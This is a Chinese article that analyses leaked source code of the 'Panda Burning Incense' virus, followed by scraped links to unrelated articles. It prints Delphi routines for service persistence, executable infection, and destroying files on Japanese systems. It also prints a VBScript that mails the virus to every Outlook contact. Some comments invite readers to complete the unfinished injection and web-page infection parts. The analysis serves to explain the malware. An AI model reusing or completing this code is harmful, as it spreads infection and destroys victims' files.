熊猫烧香

news/2024/10/30 15:22:11/
随着“熊猫烧香”病毒的始作俑者的落网,关于“熊猫烧香”病毒的危害和杀毒风波告一段落,然而随着“熊猫烧香”病毒源代码在网上的流行,一种隐含的巨大的危害仿佛才刚刚开始。

一、 引言
去年秋天回趟老家,适逢家中秋收后“祭宅神”。期间,听亲家二大娘在香毕吟颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安—这是作为衣食百姓发自内心的心愿!但如今,正待举国上下、一家老小庆祝金猪佳节到来之际,图1中的这位老兄抢先一步把香烧到了几乎家家户户,烧得各位焦头烂额,人人喊“杀”。
试问这位仁兄:你到底想干什么?

图1.“熊猫烧香”病毒感染可执行文件后的文件图标。

在短短一个月时间里,“熊猫烧香”作者多次发布更新版的变种病毒,每一次都针对以前设计的不完善进行修改,每次更新都几尽感染破坏之能事。他为什么要如此辛劳地研制病毒程序呢?本人十分同意一些防毒软件专家的观点—“‘熊猫烧香’带有强烈的商业目的,用户感染病毒后,会从后台点击国外的网站,部分变种中含有盗号木马,病毒作者可借此牟利……”。

最近,一份据称是“熊猫烧香”病毒的源代码正在互联网上散播,任何人只要利用Google或者Baidu等搜索工具都可以轻易获得(本人也是如此取得的代码)。粗略分析该代码后,我们注意到:该病毒在感染至日文操作系统时破坏性尤甚,但对其它语言Windows也造成了严重破坏。
本文中,我想对这个基于Delphi语言所编写的“熊猫烧香源码”作进一步分析,并阐述自己的几点看法。
二、 “熊猫烧香”病毒“源码”浅析
(一) 主程序段分析
原“熊猫烧香”病毒“源码”主程序段代码如下所示:
{==================主程序开始====================}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7
InfectFiles; //感染和发邮件
end;
end.




稍加分析,我们不难绘出其相应的执行流程(如图2):

图2.主程序流程图。

对于代码:
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。
然后,上面代码在判断当前操作系统不是Win9X后,提到“远程线程映射到Explorer进程”一句。其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线程来注入一个DLL”技术。如今,只要上网GOOGLE一下“远程线程映射技术”即出现大量实现片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在Windows系统中举足轻重—Windows在启动过程中都会随同激活一个名为Explorer.exe的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。注:这并不是说Windows的运行根本离不开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象无法再使用Windows了。
另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。

因此,上面代码中从第n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪装手段之一:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个“原”无毒程序(实际上文件名已经改变,加了一个空格字符)。
接下来,让我们深入分析上面流程中“InfectFiles(感染文件)”部分的执行过程。
(二) 具体感染文件的过程
这个子过程的源码如下所示:
{遍历磁盘上所有的文件并实际感染}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一
end;
end;{ === InfectFiles }


这里的核心是后面的死循环。先让我们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电子邮件信息。其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的。下面是从网上摘录的一段VBScript脚本:
Set objOA=Wscript.CreateObject("Outlook.Application")
'创建一个OUTLOOK应用的对象
Set objMapi=objOA.GetNameSpace("MAPI")
'取得MAPI名字空间
For i=1 to objMapi.AddressLists.Count
'遍历地址簿
Set objAddList=objMapi.AddressLists(i)
For j=1 To objAddList. AddressEntries.Count
Set objMail=objOA.CreateItem (0)
objMail.Recipients.Add (objAddList. AddressEntries (j))
'取得收件人邮件地址
objMail.Subject="你好!"
'设置邮件主题
objMail.Body="这次给你的附件,是我的新文档!"
'设置信件内容
objMail.Attachments.Add(“c:virus.vbs")
'把自己作为附件扩散出去
objMail.Send
'发送邮件
Next
Next
Set objMapi=Nothing
Set objOA=Nothing


注意,这段代码是非常基本的使用VBScript脚本操作Outlook COM对象,并进而达到通过编程方式操作Outlook发送特定邮件的编程技术。其中,最关键的一句在于: objMail.Attachments.Add(“c:virus.vbs")
在此,任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身!

(三) LoopFiles子过程分析
这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程。在此列出其关键代码片断:
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
//……局部变量定义
Msg: TMsg;
// IsValidDir判断指定对象是否是“目录”……
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then //Line X
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
……then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;


此子过程是典型的遍历本机中所有可用盘中的所有子目录下的所有文件并施行相应操作的编码。既如此,那么让我们从Line X开始分析。在确定当前文件为可执行文件(仅针对.EXE和.SCR文件)后,调用子过程InfectOneFile进行特定的感染。接下来,如果文件为某些网页(扩展名为.HTM、.HTML和.ASP),则继续感染这些网页文件—在网页最后加入类似如下的代码段(本代码摘自某君对一种“熊猫病毒”变体的分析结果):

http://www.ppmy.cn/news/445460.html

相关文章

科技爱好者周刊(第 173 期):网络收音机的设计

这里记录每周值得分享的科技内容&#xff0c;周五发布。 本杂志开源(GitHub: ruanyf/weekly)&#xff0c;欢迎提交 issue&#xff0c;投稿或推荐科技内容。 周刊讨论区的帖子《谁在招人&#xff1f;》&#xff0c;提供大量程序员就业信息&#xff0c;欢迎访问或发布工作/实习岗…

“熊猫烧香”让“熊猫卫士”走开

熊猫烧香病毒这段时间让很多人叫苦不迭&#xff0c;它的作者虽然被抓&#xff0c;但也肯定会被写入中国病毒软件的历史。我比较小心&#xff0c;不仅装了正版Kaspersky防毒软件&#xff0c;还启用了防火墙&#xff0c;不熟悉的网站一般不去&#xff0c;也不用QQ&#xff0c;所以…

Android实现FM收音机

实现源码下载链接 http://download.csdn.net/detail/hi_zhengjian/8794731 ***方法一&#xff1a;直接在app里面通过JNI访问HAL层*** FmRadio应用代码结构如下&#xff1a; 一、FMRadio.java通过FmRadioService提供的服务通过JNI访问到HAL层&#xff1a; FmRadioService实现I…

linux java8 安装包(版本8u131-b11)

Linux jdk/8u131-b11 包 wget --no-check-certificate --no-cookies --header "Cookie: oraclelicenseaccept-securebackup-cookie" http://download.oracle.com/otn-pub/java/jdk/8u131-b11/d54c1d3a095b4ff2b6607d096fa80163/jdk-8u131-linux-x64.tar.gz 标记一下…

JDK版本8u191与8u192的区别

2019独角兽企业重金招聘Python工程师标准>>> 最近新入手一台电脑&#xff0c;搭建新的开发环境&#xff0c;想去官网下载JAVA 8的JDK版本&#xff0c;发现官网提供有8u191和8u192的两个版本可下载&#xff0c;按照我对oracle的了解&#xff0c;oracle一般是把自己最…

6.89版本

之前文章被下架,特意发布下xhs6.89版本shield生成分析过程。 本博客更新68版本代码: version: 6.89.0.1 package com.xhs689;import com.github.unidbg.AndroidEmulator; import com.github.unidbg.Module

CentOS旧版本.ios镜像文件下载

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 CentOS旧版本.ios镜像文件下载 1.浏览器搜索“阿里镜像站”2.选择centos3.选择CentOS过期源4.点击下载地址5.选择需要的版本进行下载(以7.5.1804版本为例) 1.浏览器搜索“阿里…

CentOS 8下载及版本说明

下载地址 centOS官网 linux.org Linux与Stream版本说明 版本详情CentOS Linux支持64位的32位扩展版(一般安装这个)CentOS Stream最新特性的前沿实验版 ISO 版本说明 版本描述X86_X64带64位的32位扩展版(一般安装这个)ARM64 (aarch64)嵌入式,适用于微端(树莓派,机械臂,机械中…